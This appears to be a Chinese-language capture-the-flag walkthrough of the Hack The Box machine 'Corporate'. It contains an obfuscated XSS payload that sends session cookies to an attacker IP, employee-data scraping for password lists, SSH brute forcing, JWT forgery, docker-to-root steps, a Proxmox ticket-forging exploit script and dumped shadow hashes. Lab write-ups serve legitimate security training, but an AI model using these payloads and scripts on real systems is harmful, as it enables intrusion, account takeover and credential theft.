Recon & Enum
export IP=10.10.11.246
Nmap
nmap -sC -A -p$(nmap -p- --min-rate 1000 -T4 $IP -oN nmap.txt --append-out | grep '/tcp' | awk -F '/' '{print $1}' | tr '\n' ',') $IP -oN nmap.txt --append-out
PORT STATE SERVICE VERSION
80/tcp open http OpenResty web app server 1.21.4.3
|_http-server-header: openresty/1.21.4.3
|_http-title: Did not follow redirect to http://corporate.htb
Web - corporate.htb

whatweb http://corporate.htb/
http://corporate.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], Frame, HTML5
IP[10.10.11.246], JQuery, Script, Title[Corporate.HTB]
UncommonHeaders[content-security-policy,x-content-type-options,x-xss-options], X-Frame-Options[DENY]
feroxbuster -u http://corporate.htb/ -o ferobuster.log
200 GET 18l 81w 5041c http://corporate.htb/assets/images/services-01.jpg
200 GET 186l 505w 4928c http://corporate.htb/assets/css/owl.css
200 GET 11l 57w 4444c http://corporate.htb/assets/images/services-04.jpg
200 GET 20l 38w 316c http://corporate.htb/assets/css/chat.css
... # 没发现什么有价值的目录
ffuf -u 'http://corporate.htb/' -H 'Host: FUZZ.corporate.htb' -w subdomains-top1million-20000.txt -fc 301
support [Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 223ms]
git [Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 246ms]
sso [Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 629ms]
people [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 236ms]
support.corporate.htb

- 如果消息发送超时,就会断开会话

- 测试可以 XSS

- 但是有 CSP 限制

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
- 寻找其他 xss 生成 JS 代码进行利用

-
这里生成了代码,但是没法直接执行,找到
http://corporate.htb/[xss]可以加载本地来源的代码 -
http://corporate.htb/<script src="http://corporate.htb/assets/js/analytics.min.js?v=1));alert(1);//"></script>

提示 _analytics 为定义,需要加载 /vendor/analytics.min.js
http://corporate.htb/<script src="/vendor/analytics.min.js"></script> <script src="http://corporate.htb/assets/js/analytics.min.js?v=1));alert(1);//"></script>

- 构造 Payload
document.location = "http://10.10.16.7/" + document.cookie;
http://corporate.htb/<script src='/vendor/analytics.min.js'></script> <script src='http://corporate.htb/assets/js/analytics.min.js?v=1));document.location="http://10.10.16.7/"+document.cookie;//'></script>
- 尝试访问,失败

- 去掉引号

document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,55,47).concat(btoa(document.cookie));
- Payload
http://corporate.htb/<script src='/vendor/analytics.min.js'></script> <script src='http://corporate.htb/assets/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,55,47).concat(btoa(document.cookie));//'></script>
- 尝试访问,跳转成功

- 伪造一个子页面
<meta http-equiv="refresh" content="0; url=http://corporate.htb/<script src='/vendor/analytics.min.js'></script> <script src='http://corporate.htb/assets/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,55,47).concat(btoa(document.cookie));//'></script>" />
- 获取 Cookie,当对方亮起
Support is typing时发送,页面跳转,Get Cookie


- Cookie 有编号,猜测有多名客服

- 第二个 Cookie

- Cookies
[email protected]:
CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA2OSwibmFtZSI6IkphbW1pZSIsInN1cm5hbWUiOiJDb3JrZXJ5IiwiZW1haWwiOiJKYW1taWUuQ29ya2VyeUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzA1OTA2NDM2LCJleHAiOjE3MDU5OTI4MzZ9.m-IepyYhvg13vfNR0oKWRJlhlb3q0DrB9hXRyOeqCOg
[email protected]:
CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDU5MDY3MTAsImV4cCI6MTcwNTk5MzExMH0.v9ypNdJXg-7zU7pdinEeFSpMAESqQ7Z0DMXTjPeL6Sk
sso.corporate.htb

单点登录
people.corporate.htb

- 点击登录会跳转到 SSO,这里尝试使用 Cookie,清除已有 Cookie,添加一个,把之前捕获的 Cookie base64 解码


Shell as VM-User - elwin.jones
- 发现很多文件

- 无法遍历所有文件

- 可以分享,尝试分享给自己,并不可以

- 分享给另一个客服

- 发现可以遍历文件 ID

- 把所有文件都分享过去

- 切换到 [email protected] 查看

- 页面似乎无法全面显示

- 文件似乎会定期清理,观察文件名

- 发现一个异类,PDF 文件

- 查看文件内容,发现是针对新员工的公司介绍,其中包含初始密码的设置规则

- 站点可以看到所有人的个人信息,包括生日,邮箱,全部爬取下来

- Payload
for i in `seq 80`; do curl -s "http://people.corporate.htb/employee/$((5000+i))" \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: en' \
-H 'Cookie: CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDU5MDY3MTAsImV4cCI6MTcwNTk5MzExMH0.v9ypNdJXg-7zU7pdinEeFSpMAESqQ7Z0DMXTjPeL6Sk; session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; session.sig=DxLsq3QkzoTlRsnqs219botoeaQ' \
-H 'Proxy-Connection: keep-alive' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' \
--compressed \
--insecure | grep -oE '[a-zA-Z0-9]*.[a-zA-Z0-9]*@corporate.htb<|[0-9]{1,2}/[0-9]{1,2}/[0-9]{4}' | tr '\n' ' ' | sed 's/< /\/CorporateStarter\//g'; echo ; done | tee cred.list

- 为什么用 / 分割,马上就知道了,对数据进一步处理
cat cred.list | grep -v ^$ | awk -F '/' '{printf "%s:%s%.2d%.2d%d\n", $1, $2, $3, $4, $5}'

- 连接公司的 VPN 发现两个 C 段

- 发现另一个机器

猜测 10.9.0.4 是虚拟机,10.8.0.1 和 10.9.0.1 是主机
- Nmap 扫描


- 可以看到是 PVE

- SSH Brute - PVE 主机没有成功,虚拟机倒是有个账号
hydra -C cred.list ssh://10.9.0.4

尝试登录,发现在 IT 组,但不是 sudoers

Shell as VM-User - arch.ryan
- 查看 10.9.0.1:3004 发现是个 git 页面,登录需要二次验证

- 发现 elwin.jones 目录下有 firefox 相关目录

- 下载后放到本地,第一行要修改和本地的一样

- 安装插件,发现用的是 bitwarden 四位 pin 码


- 尝试爆破
- 查看源码,需要 json 数据

- Inspect 插件获取

- 查看源码,需要修改三处,删除 env 引用,文件路径,rounds

- 因为在 json 数据中

cargo run -r

- 拿到 TOTP

- 发现三个项目,需要搜索敏感信息

- 发现某个版本 JWT 从 Env 中获取

- 在 ourpeople 中找到 JWT_SECRET=09cb527651c4bd385483815627e6241bdf40042a`

有了 JWT_SECRET 可以伪造 Cookie
- 本地发现 docker,home 目录是挂载过来的,那现在的目标就是获取 10.9.0.4 的 root

- 发现一个用户组有 docker 权限

- 找到组内成员

- 查看 arch.ryan 信息

- 查看 SSO 源码,发现如果 user.requireCurrentPassword 判断失败就不需要旧密码,就能修改密码

- 首先登录 elwin.jones 账号

- JWT 伪造,修改 id、name、surname、requireCurrentPassword

- 修改 Cookie 后尝试修改 arch.ryan 的密码

- 成功切换用户

Shell as VM-Root
- 但是 docker 没有镜像,需要上传一个

- 本地导出 docker image
docker pull alpine:latest
docker save alpine:latest | gzip > alpine.tar.gz
docker load < alpine.tar.gz
- 导入 image

- docker to root
docker run -v /root/:/mnt -it alpine
cd /mnt/.ssh
echo '' >> authorized_keys

- 获取 VM root

Shell as User - sysadmin
- 挂载 PVE / 目录,发现只有 home 目录

- ldap 可以知道有 sysadmin 组,组内有两个成员

- 查看这两个 sysadmin 用户的目录,提示没有权限,需要切换 UID 才能进去

- ldap 查看 uid


- 编辑 /etc/passwd 文件

- 发现 id_rsa

- 用户 sysadmin

- 登录 sysadmin

Shell as Root
- 找到备份文件

通过不安全的备份文件在PMG中提升权限
https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/
- 源文件中 PMG 需要全部改为 PVE
import argparse
import requests
import logging
import json
import socket
import ssl
import urllib.parse
import re
import time
import subprocess
import base64
import tarfile
import io
import tempfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {} # {'https': '192.168.86.52:8080'}
logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)
def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
timestamp = hex(int(time.time()) + time_offset)[2:].upper()
plaintext = f'PVE:{username}:{timestamp}'
authkey_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'writing authkey to {authkey_path.name}')
authkey_path.write(authkey_bytes)
authkey_path.close()
txt_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'writing plaintext to {txt_path.name}')
txt_path.write(plaintext.encode('utf-8'))
txt_path.close()
logging.info(f'calling openssl to sign')
sig = subprocess.check_output(
['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
sig = base64.b64encode(sig).decode('latin-1')
ret = f'{plaintext}::{sig}'
logging.info(f'generated ticket for {username}: {ret}')
return ret
def exploit_key(username, authkey_path, target_url, generate_for):
with open(authkey_path, "rb") as f:
authkey_bytes = f.read()
new_ticket = generate_ticket(authkey_bytes)
logging.info('veryfing ticket')
req = requests.get(target_url, headers={'Cookie': f'PVEAuthCookie={new_ticket}'}, proxies=PROXIES,
verify=False)
res = req.content.decode('utf-8')
verify_re = re.compile('UserName: \'(.*?)\',\n\s+CSRFPreventionToken:')
verify_result = verify_re.findall(res)
logging.info(f'current user: {verify_result[0]}')
logging.info(f'Cookie: PVEAuthCookie={urllib.parse.quote_plus(new_ticket)}')
def _parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-k", metavar="key", help="The private key file")
parser.add_argument('-u', metavar='username', default="root@pam", help='A low privilege account in PMG')
parser.add_argument('-p', metavar='password')
parser.add_argument('-r', metavar='realm', default="pmg", help="Default: pmg")
parser.add_argument('-g', metavar='generate_for', default="root@pam", help="Default: root@pam")
parser.add_argument('-t', metavar='target_url',
help='Please keep the trailing slash, example: https://10.0.0.24:8006/',
required=True)
return parser.parse_args()
if __name__ == '__main__':
arg = _parse_args()
if arg.k:
exploit_key(arg.u, arg.k, arg.t, arg.g)
else:
exploit(arg.u, arg.p, arg.r, arg.t, arg.g)
- 找到 authkey.key
/var/backups/proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz
var/tmp/proxmox-OGXn58aE/proxmoxpve.2023-04-15.15.36.28.tar
var/lib/pve-cluster/config.db

- 生成 Cookie,veryfing ticket 结果出现用户名就成功了

- Load cookie - Name 填 PMGAuthCookie,Value 填 Url 编码后的

- Web Shell

Dump Hash
cat /etc/shadow
---
root:$y$j9T$4gVb2bPTl.mH8rioTPjdS1$D0c0Qeihkk/P3hMBbkAQYfd/pT8sCWeA5Hd6QSLVGh8:19745:0:99999:7:::
daemon:*:19438:0:99999:7:::
bin:*:19438:0:99999:7:::
sys:*:19438:0:99999:7:::
sync:*:19438:0:99999:7:::
games:*:19438:0:99999:7:::
man:*:19438:0:99999:7:::
lp:*:19438:0:99999:7:::
mail:*:19438:0:99999:7:::
news:*:19438:0:99999:7:::
uucp:*:19438:0:99999:7:::
proxy:*:19438:0:99999:7:::
www-data:*:19438:0:99999:7:::
backup:*:19438:0:99999:7:::
list:*:19438:0:99999:7:::
irc:*:19438:0:99999:7:::
gnats:*:19438:0:99999:7:::
nobody:*:19438:0:99999:7:::
_apt:*:19438:0:99999:7:::
_chrony:*:19438:0:99999:7:::
messagebus:*:19454:0:99999:7:::
_rpc:*:19454:0:99999:7:::
systemd-network:*:19454:0:99999:7:::
systemd-resolve:*:19454:0:99999:7:::
postfix:*:19454:0:99999:7:::
tcpdump:*:19454:0:99999:7:::
sshd:*:19454:0:99999:7:::
statd:*:19454:0:99999:7:::
gluster:*:19454:0:99999:7:::
tss:*:19454:0:99999:7:::
ceph:*:19454:0:99999:7:::
systemd-timesync:!*:19454::::::
systemd-coredump:!*:19454::::::
openldap:!:19454:0:99999:7:::
git:*:19455:0:99999:7:::
sysadmin:$y$j9T$E2kQZ9TL6csvgTjXCvlau/$r4Y9/c5O8UQcdCVNKdPXn69PhHC35T59bpfjiUKEkoD:19462:0:99999:7:::
_laurel:!:19688::::::
